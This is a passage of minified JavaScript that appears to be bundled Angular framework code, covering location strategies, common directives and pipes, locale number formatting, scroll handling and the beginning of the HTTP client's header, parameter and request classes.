Yt=this.prepareExternalUrl(ht+U(Ht));this._platformLocation.replaceState(W,Ve,Yt)}forward(){this._platformLocation.forward()}back(){this._platformLocation.back()}getState(){return this._platformLocation.getState()}historyGo(W=0){this._platformLocation.historyGo?.(W)}}return N.\\u0275fac=function(W){return new(W||N)(n.LFG(E),n.LFG(Q,8))},N.\\u0275prov=n.Yz7({token:N,factory:N.\\u0275fac,providedIn:"root"}),N})(),Ce=(()=>{class N extends G{constructor(W,Ve){super(),this._platformLocation=W,this._baseHref="",this._removeListenerFns=[],null!=Ve&&(this._baseHref=Ve)}ngOnDestroy(){for(;this._removeListenerFns.length;)this._removeListenerFns.pop()()}onPopState(W){this._removeListenerFns.push(this._platformLocation.onPopState(W),this._platformLocation.onHashChange(W))}getBaseHref(){return this._baseHref}path(W=!1){let Ve=this._platformLocation.hash;return null==Ve&&(Ve="#"),Ve.length>0?Ve.substring(1):Ve}prepareExternalUrl(W){const Ve=H(this._baseHref,W);return Ve.length>0?"#"+Ve:Ve}pushState(W,Ve,ht,Ht){let Yt=this.prepareExternalUrl(ht+U(Ht));0==Yt.length&&(Yt=this._platformLocation.pathname),this._platformLocation.pushState(W,Ve,Yt)}replaceState(W,Ve,ht,Ht){let Yt=this.prepareExternalUrl(ht+U(Ht));0==Yt.length&&(Yt=this._platformLocation.pathname),this._platformLocation.replaceState(W,Ve,Yt)}forward(){this._platformLocation.forward()}back(){this._platformLocation.back()}getState(){return this._platformLocation.getState()}historyGo(W=0){this._platformLocation.historyGo?.(W)}}return N.\\u0275fac=function(W){return new(W||N)(n.LFG(E),n.LFG(Q,8))},N.\\u0275prov=n.Yz7({token:N,factory:N.\\u0275fac}),N})(),k=(()=>{class N{constructor(W){this._subject=new n.vpe,this._urlChangeListeners=[],this._urlChangeSubscription=null,this._locationStrategy=W;const Ve=this._locationStrategy.getBaseHref();this._basePath=function q(N){if(new RegExp("^(https?:)?//").test(N)){const[,W]=N.split(/\\/\\/[^\\/]+/);return W}return N}(j(ee(Ve))),this._locationStrategy.onPopState(ht=>{this._subject.emit({url:this.path(!0),pop:!0,state:ht.state,type:ht.type})})}ngOnDestroy(){this._urlChangeSubscription?.unsubscribe(),this._urlChangeListeners=[]}path(W=!1){return this.normalize(this._locationStrategy.path(W))}getState(){return this._locationStrategy.getState()}isCurrentPathEqualTo(W,Ve=""){return this.path()==this.normalize(W+U(Ve))}normalize(W){return N.stripTrailingSlash(function se(N,he){if(!N||!he.startsWith(N))return he;const W=he.substring(N.length);return""===W||["/",";","?","#"].includes(W[0])?W:he}(this._basePath,ee(W)))}prepareExternalUrl(W){return W&&"/"!==W[0]&&(W="/"+W),this._locationStrategy.prepareExternalUrl(W)}go(W,Ve="",ht=null){this._locationStrategy.pushState(ht,"",W,Ve),this._notifyUrlChangeListeners(this.prepareExternalUrl(W+U(Ve)),ht)}replaceState(W,Ve="",ht=null){this._locationStrategy.replaceState(ht,"",W,Ve),this._notifyUrlChangeListeners(this.prepareExternalUrl(W+U(Ve)),ht)}forward(){this._locationStrategy.forward()}back(){this._locationStrategy.back()}historyGo(W=0){this._locationStrategy.historyGo?.(W)}onUrlChange(W){return this._urlChangeListeners.push(W),this._urlChangeSubscription||(this._urlChangeSubscription=this.subscribe(Ve=>{this._notifyUrlChangeListeners(Ve.url,Ve.state)})),()=>{const Ve=this._urlChangeListeners.indexOf(W);this._urlChangeListeners.splice(Ve,1),0===this._urlChangeListeners.length&&(this._urlChangeSubscription?.unsubscribe(),this._urlChangeSubscription=null)}}_notifyUrlChangeListeners(W="",Ve){this._urlChangeListeners.forEach(ht=>ht(W,Ve))}subscribe(W,Ve,ht){return this._subject.subscribe({next:W,error:Ve,complete:ht})}}return N.normalizeQueryParams=U,N.joinWithSlash=H,N.stripTrailingSlash=j,N.\\u0275fac=function(W){return new(W||N)(n.LFG(G))},N.\\u0275prov=n.Yz7({token:N,factory:function(){return function K(){return new k((0,n.LFG)(G))}()},providedIn:"root"}),N})();function ee(N){return N.replace(/\\/index.html$/,"")}var ce=(()=>((ce=ce||{})[ce.Decimal=0]="Decimal",ce[ce.Percent=1]="Percent",ce[ce.Currency=2]="Currency",ce[ce.Scientific=3]="Scientific",ce))(),Qe=(()=>((Qe=Qe||{})[Qe.Decimal=0]="Decimal",Qe[Qe.Group=1]="Group",Qe[Qe.List=2]="List",Qe[Qe.PercentSign=3]="PercentSign",Qe[Qe.PlusSign=4]="PlusSign",Qe[Qe.MinusSign=5]="MinusSign",Qe[Qe.Exponential=6]="Exponential",Qe[Qe.SuperscriptingExponent=7]="SuperscriptingExponent",Qe[Qe.PerMille=8]="PerMille",Qe[Qe.Infinity=9]="Infinity",Qe[Qe.NaN=10]="NaN",Qe[Qe.TimeSeparator=11]="TimeSeparator",Qe[Qe.CurrencyDecimal=12]="CurrencyDecimal",Qe[Qe.CurrencyGroup=13]="CurrencyGroup",Qe))();function Be(N,he){const W=(0,n.cg1)(N),Ve=W[n.wAp.NumberSymbols][he];if(typeof Ve>"u"){if(he===Qe.CurrencyDecimal)return W[n.wAp.NumberSymbols][Qe.Decimal];if(he===Qe.CurrencyGroup)return W[n.wAp.NumberSymbols][Qe.Group]}return Ve}const ot=/^(\\d+)?\\.((\\d+)(-(\\d+))?)?$/,Ne=22,ut=".",Rt="0",Zt=";",a1=",",_1="#";function h(N){const he=parseInt(N);if(isNaN(he))throw new Error("Invalid integer literal when parsing "+N);return he}function p1(N,he){he=encodeURIComponent(he);for(const W of N.split(";")){const Ve=W.indexOf("="),[ht,Ht]=-1==Ve?[W,""]:[W.slice(0,Ve),W.slice(Ve+1)];if(ht.trim()===he)return decodeURIComponent(Ht)}return null}const w1=/\\s+/,Qt=[];let h1=(()=>{class N{constructor(W,Ve,ht,Ht){this._iterableDiffers=W,this._keyValueDiffers=Ve,this._ngEl=ht,this._renderer=Ht,this.initialClasses=Qt,this.stateMap=new Map}set klass(W){this.initialClasses=null!=W?W.trim().split(w1):Qt}set ngClass(W){this.rawClass="string"==typeof W?W.trim().split(w1):W}ngDoCheck(){for(const Ve of this.initialClasses)this._updateState(Ve,!0);const W=this.rawClass;if(Array.isArray(W)||W instanceof Set)for(const Ve of W)this._updateState(Ve,!0);else if(null!=W)for(const Ve of Object.keys(W))this._updateState(Ve,Boolean(W[Ve]));this._applyStateDiff()}_updateState(W,Ve){const ht=this.stateMap.get(W);void 0!==ht?(ht.enabled!==Ve&&(ht.changed=!0,ht.enabled=Ve),ht.touched=!0):this.stateMap.set(W,{enabled:Ve,changed:!0,touched:!0})}_applyStateDiff(){for(const W of this.stateMap){const Ve=W[0],ht=W[1];ht.changed?(this._toggleClass(Ve,ht.enabled),ht.changed=!1):ht.touched||(ht.enabled&&this._toggleClass(Ve,!1),this.stateMap.delete(Ve)),ht.touched=!1}}_toggleClass(W,Ve){(W=W.trim()).length>0&&W.split(w1).forEach(ht=>{Ve?this._renderer.addClass(this._ngEl.nativeElement,ht):this._renderer.removeClass(this._ngEl.nativeElement,ht)})}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.ZZ4),n.Y36(n.aQg),n.Y36(n.SBq),n.Y36(n.Qsj))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngClass",""]],inputs:{klass:["class","klass"],ngClass:"ngClass"},standalone:!0}),N})();class V1{constructor(he,W,Ve,ht){this.$implicit=he,this.ngForOf=W,this.index=Ve,this.count=ht}get first(){return 0===this.index}get last(){return this.index===this.count-1}get even(){return this.index%2==0}get odd(){return!this.even}}let vn=(()=>{class N{set ngForOf(W){this._ngForOf=W,this._ngForOfDirty=!0}set ngForTrackBy(W){this._trackByFn=W}get ngForTrackBy(){return this._trackByFn}constructor(W,Ve,ht){this._viewContainer=W,this._template=Ve,this._differs=ht,this._ngForOf=null,this._ngForOfDirty=!0,this._differ=null}set ngForTemplate(W){W&&(this._template=W)}ngDoCheck(){if(this._ngForOfDirty){this._ngForOfDirty=!1;const W=this._ngForOf;!this._differ&&W&&(this._differ=this._differs.find(W).create(this.ngForTrackBy))}if(this._differ){const W=this._differ.diff(this._ngForOf);W&&this._applyChanges(W)}}_applyChanges(W){const Ve=this._viewContainer;W.forEachOperation((ht,Ht,Yt)=>{if(null==ht.previousIndex)Ve.createEmbeddedView(this._template,new V1(ht.item,this._ngForOf,-1,-1),null===Yt?void 0:Yt);else if(null==Yt)Ve.remove(null===Ht?void 0:Ht);else if(null!==Ht){const s1=Ve.get(Ht);Ve.move(s1,Yt),E1(s1,ht)}});for(let ht=0,Ht=Ve.length;ht<Ht;ht++){const s1=Ve.get(ht).context;s1.index=ht,s1.count=Ht,s1.ngForOf=this._ngForOf}W.forEachIdentityChange(ht=>{E1(Ve.get(ht.currentIndex),ht)})}static ngTemplateContextGuard(W,Ve){return!0}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.s_b),n.Y36(n.Rgc),n.Y36(n.ZZ4))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngFor","","ngForOf",""]],inputs:{ngForOf:"ngForOf",ngForTrackBy:"ngForTrackBy",ngForTemplate:"ngForTemplate"},standalone:!0}),N})();function E1(N,he){N.context.$implicit=he.item}let Gn=(()=>{class N{constructor(W,Ve){this._viewContainer=W,this._context=new D1,this._thenTemplateRef=null,this._elseTemplateRef=null,this._thenViewRef=null,this._elseViewRef=null,this._thenTemplateRef=Ve}set ngIf(W){this._context.$implicit=this._context.ngIf=W,this._updateView()}set ngIfThen(W){ci("ngIfThen",W),this._thenTemplateRef=W,this._thenViewRef=null,this._updateView()}set ngIfElse(W){ci("ngIfElse",W),this._elseTemplateRef=W,this._elseViewRef=null,this._updateView()}_updateView(){this._context.$implicit?this._thenViewRef||(this._viewContainer.clear(),this._elseViewRef=null,this._thenTemplateRef&&(this._thenViewRef=this._viewContainer.createEmbeddedView(this._thenTemplateRef,this._context))):this._elseViewRef||(this._viewContainer.clear(),this._thenViewRef=null,this._elseTemplateRef&&(this._elseViewRef=this._viewContainer.createEmbeddedView(this._elseTemplateRef,this._context)))}static ngTemplateContextGuard(W,Ve){return!0}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.s_b),n.Y36(n.Rgc))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngIf",""]],inputs:{ngIf:"ngIf",ngIfThen:"ngIfThen",ngIfElse:"ngIfElse"},standalone:!0}),N})();class D1{constructor(){this.$implicit=null,this.ngIf=null}}function ci(N,he){if(he&&!he.createEmbeddedView)throw new Error(`${N} must be a TemplateRef, but received \'${(0,n.AaK)(he)}\'.`)}class fn{constructor(he,W){this._viewContainerRef=he,this._templateRef=W,this._created=!1}create(){this._created=!0,this._viewContainerRef.createEmbeddedView(this._templateRef)}destroy(){this._created=!1,this._viewContainerRef.clear()}enforceState(he){he&&!this._created?this.create():!he&&this._created&&this.destroy()}}let Rn=(()=>{class N{constructor(){this._defaultViews=[],this._defaultUsed=!1,this._caseCount=0,this._lastCaseCheckIndex=0,this._lastCasesMatched=!1}set ngSwitch(W){this._ngSwitch=W,0===this._caseCount&&this._updateDefaultCases(!0)}_addCase(){return this._caseCount++}_addDefault(W){this._defaultViews.push(W)}_matchCase(W){const Ve=W==this._ngSwitch;return this._lastCasesMatched=this._lastCasesMatched||Ve,this._lastCaseCheckIndex++,this._lastCaseCheckIndex===this._caseCount&&(this._updateDefaultCases(!this._lastCasesMatched),this._lastCaseCheckIndex=0,this._lastCasesMatched=!1),Ve}_updateDefaultCases(W){if(this._defaultViews.length>0&&W!==this._defaultUsed){this._defaultUsed=W;for(const Ve of this._defaultViews)Ve.enforceState(W)}}}return N.\\u0275fac=function(W){return new(W||N)},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngSwitch",""]],inputs:{ngSwitch:"ngSwitch"},standalone:!0}),N})(),cn=(()=>{class N{constructor(W,Ve,ht){this.ngSwitch=ht,ht._addCase(),this._view=new fn(W,Ve)}ngDoCheck(){this._view.enforceState(this.ngSwitch._matchCase(this.ngSwitchCase))}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.s_b),n.Y36(n.Rgc),n.Y36(Rn,9))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngSwitchCase",""]],inputs:{ngSwitchCase:"ngSwitchCase"},standalone:!0}),N})(),X1=(()=>{class N{constructor(W,Ve,ht){ht._addDefault(new fn(W,Ve))}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.s_b),n.Y36(n.Rgc),n.Y36(Rn,9))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngSwitchDefault",""]],standalone:!0}),N})(),$n=(()=>{class N{constructor(W,Ve,ht){this._ngEl=W,this._differs=Ve,this._renderer=ht,this._ngStyle=null,this._differ=null}set ngStyle(W){this._ngStyle=W,!this._differ&&W&&(this._differ=this._differs.find(W).create())}ngDoCheck(){if(this._differ){const W=this._differ.diff(this._ngStyle);W&&this._applyChanges(W)}}_setStyle(W,Ve){const[ht,Ht]=W.split("."),Yt=-1===ht.indexOf("-")?void 0:n.JOm.DashCase;null!=Ve?this._renderer.setStyle(this._ngEl.nativeElement,ht,Ht?`${Ve}${Ht}`:Ve,Yt):this._renderer.removeStyle(this._ngEl.nativeElement,ht,Yt)}_applyChanges(W){W.forEachRemovedItem(Ve=>this._setStyle(Ve.key,null)),W.forEachAddedItem(Ve=>this._setStyle(Ve.key,Ve.currentValue)),W.forEachChangedItem(Ve=>this._setStyle(Ve.key,Ve.currentValue))}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.SBq),n.Y36(n.aQg),n.Y36(n.Qsj))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngStyle",""]],inputs:{ngStyle:"ngStyle"},standalone:!0}),N})();function Cn(N,he){return new n.vHH(2100,!1)}class Mn{createSubscription(he,W){return he.subscribe({next:W,error:Ve=>{throw Ve}})}dispose(he){he.unsubscribe()}}class di{createSubscription(he,W){return he.then(W,Ve=>{throw Ve})}dispose(he){}}const ri=new di,_i=new Mn;let Nn=(()=>{class N{constructor(W){this._latestValue=null,this._subscription=null,this._obj=null,this._strategy=null,this._ref=W}ngOnDestroy(){this._subscription&&this._dispose(),this._ref=null}transform(W){return this._obj?W!==this._obj?(this._dispose(),this.transform(W)):this._latestValue:(W&&this._subscribe(W),this._latestValue)}_subscribe(W){this._obj=W,this._strategy=this._selectStrategy(W),this._subscription=this._strategy.createSubscription(W,Ve=>this._updateLatestValue(W,Ve))}_selectStrategy(W){if((0,n.QGY)(W))return ri;if((0,n.F4k)(W))return _i;throw Cn()}_dispose(){this._strategy.dispose(this._subscription),this._latestValue=null,this._subscription=null,this._obj=null}_updateLatestValue(W,Ve){W===this._obj&&(this._latestValue=Ve,this._ref.markForCheck())}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.sBO,16))},N.\\u0275pipe=n.Yjl({name:"async",type:N,pure:!1,standalone:!0}),N})(),ln=(()=>{class N{transform(W){if(null==W)return null;if("string"!=typeof W)throw Cn();return W.toLowerCase()}}return N.\\u0275fac=function(W){return new(W||N)},N.\\u0275pipe=n.Yjl({name:"lowercase",type:N,pure:!0,standalone:!0}),N})(),h2=(()=>{class N{constructor(W){this._locale=W}transform(W,Ve,ht){if(!function Zn(N){return!(null==N||""===N||N!=N)}(W))return null;ht=ht||this._locale;try{return function Ge(N,he,W){return function nn(N,he,W,Ve,ht,Ht,Yt=!1){let s1="",K1=!1;if(isFinite(N)){let g1=function O(N){let Ve,ht,Ht,Yt,s1,he=Math.abs(N)+"",W=0;for((ht=he.indexOf(ut))>-1&&(he=he.replace(ut,"")),(Ht=he.search(/e/i))>0?(ht<0&&(ht=Ht),ht+=+he.slice(Ht+1),he=he.substring(0,Ht)):ht<0&&(ht=he.length),Ht=0;he.charAt(Ht)===Rt;Ht++);if(Ht===(s1=he.length))Ve=[0],ht=1;else{for(s1--;he.charAt(s1)===Rt;)s1--;for(ht-=Ht,Ve=[],Yt=0;Ht<=s1;Ht++,Yt++)Ve[Yt]=Number(he.charAt(Ht))}return ht>Ne&&(Ve=Ve.splice(0,Ne-1),W=ht-1,ht=1),{digits:Ve,exponent:W,integerLen:ht}}(N);Yt&&(g1=function Me(N){if(0===N.digits[0])return N;const he=N.digits.length-N.integerLen;return N.exponent?N.exponent+=2:(0===he?N.digits.push(0,0):1===he&&N.digits.push(0),N.integerLen+=2),N}(g1));let B1=he.minInt,I1=he.minFrac,Ln=he.maxFrac;if(Ht){const mi=Ht.match(ot);if(null===mi)throw new Error(`${Ht} is not a valid digit info`);const Ii=mi[1],Ai=mi[3],ji=mi[5];null!=Ii&&(B1=h(Ii)),null!=Ai&&(I1=h(Ai)),null!=ji?Ln=h(ji):null!=Ai&&I1>Ln&&(Ln=I1)}!function de(N,he,W){if(he>W)throw new Error(`The minimum number of digits after fraction (${he}) is higher than the maximum (${W}).`);let Ve=N.digits,ht=Ve.length-N.integerLen;const Ht=Math.min(Math.max(he,ht),W);let Yt=Ht+N.integerLen,s1=Ve[Yt];if(Yt>0){Ve.splice(Math.max(N.integerLen,Yt));for(let I1=Yt;I1<Ve.length;I1++)Ve[I1]=0}else{ht=Math.max(0,ht),N.integerLen=1,Ve.length=Math.max(1,Yt=Ht+1),Ve[0]=0;for(let I1=1;I1<Yt;I1++)Ve[I1]=0}if(s1>=5)if(Yt-1<0){for(let I1=0;I1>Yt;I1--)Ve.unshift(0),N.integerLen++;Ve.unshift(1),N.integerLen++}else Ve[Yt-1]++;for(;ht<Math.max(0,Ht);ht++)Ve.push(0);let K1=0!==Ht;const g1=he+N.integerLen,B1=Ve.reduceRight(function(I1,Ln,rn,kn){return kn[rn]=(Ln+=I1)<10?Ln:Ln-10,K1&&(0===kn[rn]&&rn>=g1?kn.pop():K1=!1),Ln>=10?1:0},0);B1&&(Ve.unshift(B1),N.integerLen++)}(g1,I1,Ln);let rn=g1.digits,kn=g1.integerLen;const Di=g1.exponent;let wi=[];for(K1=rn.every(mi=>!mi);kn<B1;kn++)rn.unshift(0);for(;kn<0;kn++)rn.unshift(0);kn>0?wi=rn.splice(kn,rn.length):(wi=rn,rn=[0]);const t2=[];for(rn.length>=he.lgSize&&t2.unshift(rn.splice(-he.lgSize,rn.length).join(""));rn.length>he.gSize;)t2.unshift(rn.splice(-he.gSize,rn.length).join(""));rn.length&&t2.unshift(rn.join("")),s1=t2.join(Be(W,Ve)),wi.length&&(s1+=Be(W,ht)+wi.join("")),Di&&(s1+=Be(W,Qe.Exponential)+"+"+Di)}else s1=Be(W,Qe.Infinity);return s1=N<0&&!K1?he.negPre+s1+he.negSuf:he.posPre+s1+he.posSuf,s1}(N,function vt(N,he="-"){const W={minInt:1,minFrac:0,maxFrac:0,posPre:"",posSuf:"",negPre:"",negSuf:"",gSize:0,lgSize:0},Ve=N.split(Zt),ht=Ve[0],Ht=Ve[1],Yt=-1!==ht.indexOf(ut)?ht.split(ut):[ht.substring(0,ht.lastIndexOf(Rt)+1),ht.substring(ht.lastIndexOf(Rt)+1)],s1=Yt[0],K1=Yt[1]||"";W.posPre=s1.substring(0,s1.indexOf(_1));for(let B1=0;B1<K1.length;B1++){const I1=K1.charAt(B1);I1===Rt?W.minFrac=W.maxFrac=B1+1:I1===_1?W.maxFrac=B1+1:W.posSuf+=I1}const g1=s1.split(a1);if(W.gSize=g1[1]?g1[1].length:0,W.lgSize=g1[2]||g1[1]?(g1[2]||g1[1]).length:0,Ht){const B1=ht.length-W.posPre.length-W.posSuf.length,I1=Ht.indexOf(_1);W.negPre=Ht.substring(0,I1).replace(/\'/g,""),W.negSuf=Ht.slice(I1+B1).replace(/\'/g,"")}else W.negPre=he+W.posPre,W.negSuf=W.posSuf;return W}(function pe(N,he){return(0,n.cg1)(N)[n.wAp.NumberFormats][he]}(he,ce.Decimal),Be(he,Qe.MinusSign)),he,Qe.Group,Qe.Decimal,W)}(function Hi(N){if("string"==typeof N&&!isNaN(Number(N)-parseFloat(N)))return Number(N);if("number"!=typeof N)throw new Error(`${N} is not a number`);return N}(W),ht,Ve)}catch(Ht){throw Cn()}}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.soG,16))},N.\\u0275pipe=n.Yjl({name:"number",type:N,pure:!0,standalone:!0}),N})();let p2=(()=>{class N{}return N.\\u0275fac=function(W){return new(W||N)},N.\\u0275mod=n.oAB({type:N}),N.\\u0275inj=n.cJS({}),N})();const x2="browser",yi="server";function bi(N){return N===x2}function mn(N){return N===yi}let Ui=(()=>{class N{}return N.\\u0275prov=(0,n.Yz7)({token:N,providedIn:"root",factory:()=>new o2((0,n.LFG)(f),window)}),N})();class o2{constructor(he,W){this.document=he,this.window=W,this.offset=()=>[0,0]}setOffset(he){this.offset=Array.isArray(he)?()=>he:he}getScrollPosition(){return this.supportsScrolling()?[this.window.pageXOffset,this.window.pageYOffset]:[0,0]}scrollToPosition(he){this.supportsScrolling()&&this.window.scrollTo(he[0],he[1])}scrollToAnchor(he){if(!this.supportsScrolling())return;const W=function ki(N,he){const W=N.getElementById(he)||N.getElementsByName(he)[0];if(W)return W;if("function"==typeof N.createTreeWalker&&N.body&&(N.body.createShadowRoot||N.body.attachShadow)){const Ve=N.createTreeWalker(N.body,NodeFilter.SHOW_ELEMENT);let ht=Ve.currentNode;for(;ht;){const Ht=ht.shadowRoot;if(Ht){const Yt=Ht.getElementById(he)||Ht.querySelector(`[name="${he}"]`);if(Yt)return Yt}ht=Ve.nextNode()}}return null}(this.document,he);W&&(this.scrollToElement(W),W.focus())}setHistoryScrollRestoration(he){if(this.supportScrollRestoration()){const W=this.window.history;W&&W.scrollRestoration&&(W.scrollRestoration=he)}}scrollToElement(he){const W=he.getBoundingClientRect(),Ve=W.left+this.window.pageXOffset,ht=W.top+this.window.pageYOffset,Ht=this.offset();this.window.scrollTo(Ve-Ht[0],ht-Ht[1])}supportScrollRestoration(){try{if(!this.supportsScrolling())return!1;const he=Li(this.window.history)||Li(Object.getPrototypeOf(this.window.history));return!(!he||!he.writable&&!he.set)}catch{return!1}}supportsScrolling(){try{return!!this.window&&!!this.window.scrollTo&&"pageXOffset"in this.window}catch{return!1}}}function Li(N){return Object.getOwnPropertyDescriptor(N,"scrollRestoration")}class ti{}},529:(At,ae,d)=>{"use strict";d.d(ae,{JF:()=>Pe,TP:()=>ze,eN:()=>qe});var n=d(6895),a=d(4650),s=d(1086),u=d(6498),c=d(1406),f=d(2198),E=d(4850);class _{}class S{}class g{constructor(J){this.normalizedNames=new Map,this.lazyUpdate=null,J?this.lazyInit="string"==typeof J?()=>{this.headers=new Map,J.split("\\n").forEach(Ae=>{const mt=Ae.indexOf(":");if(mt>0){const Ct=Ae.slice(0,mt),jt=Ct.toLowerCase(),pt=Ae.slice(mt+1).trim();this.maybeSetNormalizedName(Ct,jt),this.headers.has(jt)?this.headers.get(jt).push(pt):this.headers.set(jt,[pt])}})}:()=>{this.headers=new Map,Object.entries(J).forEach(([Ae,mt])=>{let Ct;if(Ct="string"==typeof mt?[mt]:"number"==typeof mt?[mt.toString()]:mt.map(jt=>jt.toString()),Ct.length>0){const jt=Ae.toLowerCase();this.headers.set(jt,Ct),this.maybeSetNormalizedName(Ae,jt)}})}:this.headers=new Map}has(J){return this.init(),this.headers.has(J.toLowerCase())}get(J){this.init();const Ae=this.headers.get(J.toLowerCase());return Ae&&Ae.length>0?Ae[0]:null}keys(){return this.init(),Array.from(this.normalizedNames.values())}getAll(J){return this.init(),this.headers.get(J.toLowerCase())||null}append(J,Ae){return this.clone({name:J,value:Ae,op:"a"})}set(J,Ae){return this.clone({name:J,value:Ae,op:"s"})}delete(J,Ae){return this.clone({name:J,value:Ae,op:"d"})}maybeSetNormalizedName(J,Ae){this.normalizedNames.has(Ae)||this.normalizedNames.set(Ae,J)}init(){this.lazyInit&&(this.lazyInit instanceof g?this.copyFrom(this.lazyInit):this.lazyInit(),this.lazyInit=null,this.lazyUpdate&&(this.lazyUpdate.forEach(J=>this.applyUpdate(J)),this.lazyUpdate=null))}copyFrom(J){J.init(),Array.from(J.headers.keys()).forEach(Ae=>{this.headers.set(Ae,J.headers.get(Ae)),this.normalizedNames.set(Ae,J.normalizedNames.get(Ae))})}clone(J){const Ae=new g;return Ae.lazyInit=this.lazyInit&&this.lazyInit instanceof g?this.lazyInit:this,Ae.lazyUpdate=(this.lazyUpdate||[]).concat([J]),Ae}applyUpdate(J){const Ae=J.name.toLowerCase();switch(J.op){case"a":case"s":let mt=J.value;if("string"==typeof mt&&(mt=[mt]),0===mt.length)return;this.maybeSetNormalizedName(J.name,Ae);const Ct=("a"===J.op?this.headers.get(Ae):void 0)||[];Ct.push(...mt),this.headers.set(Ae,Ct);break;case"d":const jt=J.value;if(jt){let pt=this.headers.get(Ae);if(!pt)return;pt=pt.filter(nt=>-1===jt.indexOf(nt)),0===pt.length?(this.headers.delete(Ae),this.normalizedNames.delete(Ae)):this.headers.set(Ae,pt)}else this.headers.delete(Ae),this.normalizedNames.delete(Ae)}}forEach(J){this.init(),Array.from(this.normalizedNames.keys()).forEach(Ae=>J(this.normalizedNames.get(Ae),this.headers.get(Ae)))}}class z{encodeKey(J){return G(J)}encodeValue(J){return G(J)}decodeKey(J){return decodeURIComponent(J)}decodeValue(J){return decodeURIComponent(J)}}const j=/%(\\d[a-f0-9])/gi,U={40:"@","3A":":",24:"$","2C":",","3B":";","3D":"=","3F":"?","2F":"/"};function G(xe){return encodeURIComponent(xe).replace(j,(J,Ae)=>U[Ae]??J)}function Q(xe){return`${xe}`}class oe{constructor(J={}){if(this.updates=null,this.cloneFrom=null,this.encoder=J.encoder||new z,J.fromString){if(J.fromObject)throw new Error("Cannot specify both fromString and fromObject.");this.map=function H(xe,J){const Ae=new Map;return xe.length>0&&xe.replace(/^\\?/,"").split("&").forEach(Ct=>{const jt=Ct.indexOf("="),[pt,nt]=-1==jt?[J.decodeKey(Ct),""]:[J.decodeKey(Ct.slice(0,jt)),J.decodeValue(Ct.slice(jt+1))],fe=Ae.get(pt)||[];fe.push(nt),Ae.set(pt,fe)}),Ae}(J.fromString,this.encoder)}else J.fromObject?(this.map=new Map,Object.keys(J.fromObject).forEach(Ae=>{const mt=J.fromObject[Ae],Ct=Array.isArray(mt)?mt.map(Q):[Q(mt)];this.map.set(Ae,Ct)})):this.map=null}has(J){return this.init(),this.map.has(J)}get(J){this.init();const Ae=this.map.get(J);return Ae?Ae[0]:null}getAll(J){return this.init(),this.map.get(J)||null}keys(){return this.init(),Array.from(this.map.keys())}append(J,Ae){return this.clone({param:J,value:Ae,op:"a"})}appendAll(J){const Ae=[];return Object.keys(J).forEach(mt=>{const Ct=J[mt];Array.isArray(Ct)?Ct.forEach(jt=>{Ae.push({param:mt,value:jt,op:"a"})}):Ae.push({param:mt,value:Ct,op:"a"})}),this.clone(Ae)}set(J,Ae){return this.clone({param:J,value:Ae,op:"s"})}delete(J,Ae){return this.clone({param:J,value:Ae,op:"d"})}toString(){return this.init(),this.keys().map(J=>{const Ae=this.encoder.encodeKey(J);return this.map.get(J).map(mt=>Ae+"="+this.encoder.encodeValue(mt)).join("&")}).filter(J=>""!==J).join("&")}clone(J){const Ae=new oe({encoder:this.encoder});return Ae.cloneFrom=this.cloneFrom||this,Ae.updates=(this.updates||[]).concat(J),Ae}init(){null===this.map&&(this.map=new Map),null!==this.cloneFrom&&(this.cloneFrom.init(),this.cloneFrom.keys().forEach(J=>this.map.set(J,this.cloneFrom.map.get(J))),this.updates.forEach(J=>{switch(J.op){case"a":case"s":const Ae=("a"===J.op?this.map.get(J.param):void 0)||[];Ae.push(Q(J.value)),this.map.set(J.param,Ae);break;case"d":if(void 0===J.value){this.map.delete(J.param);break}{let mt=this.map.get(J.param)||[];const Ct=mt.indexOf(Q(J.value));-1!==Ct&&mt.splice(Ct,1),mt.length>0?this.map.set(J.param,mt):this.map.delete(J.param)}}}),this.cloneFrom=this.updates=null)}}class k{constructor(){this.map=new Map}set(J,Ae){return this.map.set(J,Ae),this}get(J){return this.map.has(J)||this.map.set(J,J.defaultValue()),this.map.get(J)}delete(J){return this.map.delete(J),this}has(J){return this.map.has(J)}keys(){return this.map.keys()}}function se(xe){return typeof ArrayBuffer<"u"&&xe instanceof ArrayBuffer}function ee(xe){return typeof Blob<"u"&&xe instanceof Blob}function q(xe){return typeof FormData<"u"&&xe instanceof FormData}class ce{constructor(J,Ae,mt,Ct){let jt;if(this.url=Ae,this.body=null,this.reportProgress=!1,this.withCredentials=!1,this.responseType="json",this.method=J.toUpperCase(),function K(xe){switch(xe){case"DELETE":case"GET":case"HEAD":case"OPTIONS":case"JSONP":return!1;default:return!0}}(this.method)||Ct?(this.body=void 0!==mt?mt:null,jt=Ct):jt=mt,jt&&(this.reportProgress=!!jt.reportProgress,this.withCredentials=!!jt.withCredentials,jt.responseType&&(this.responseType=jt.responseType),jt.headers&&(this.headers=jt.headers),jt.context&&(this.context=jt.context),jt.params&&(this.params=jt.params)),this.headers||(this.headers=new g),this.context||(this.context=new k),this.params){const pt=this.params.toString();if(0===pt.length)this.urlWithParams=Ae;else{const nt=Ae.indexOf("?");this.urlWithParams=Ae+(-1===nt?"?":nt<Ae.length-1?"&":"")+pt}}else this.params=new oe,this.urlWithParams=Ae}serializeBody(){return null===this.body?null:se(this.body)||ee(this.body)||q(this.body)||function we(xe){return typeof URLSearchParams<"u"&&xe instanceof URLSearchParams}(this.body)||"string"==typeof this.body?this.body:this.body instanceof oe?this.body.toString():"object"==typeof this.body||"boolean"==typeof this.body||Array.isArray(this.body)?JSON.stringify(this.body):this.body.toString()}detectContentTypeHeader(){return null===this.body||q(this.body)?null:ee(this.body)?this.body.type||null:se(this.body)?null:"string"==typeof this.body?"text/plain":this.body instanceof oe?"application/x-www-form-urlencoded;charset=UTF-8":"object"==typeof this.body||"number"==typeof this.body||"boolean"==typeof 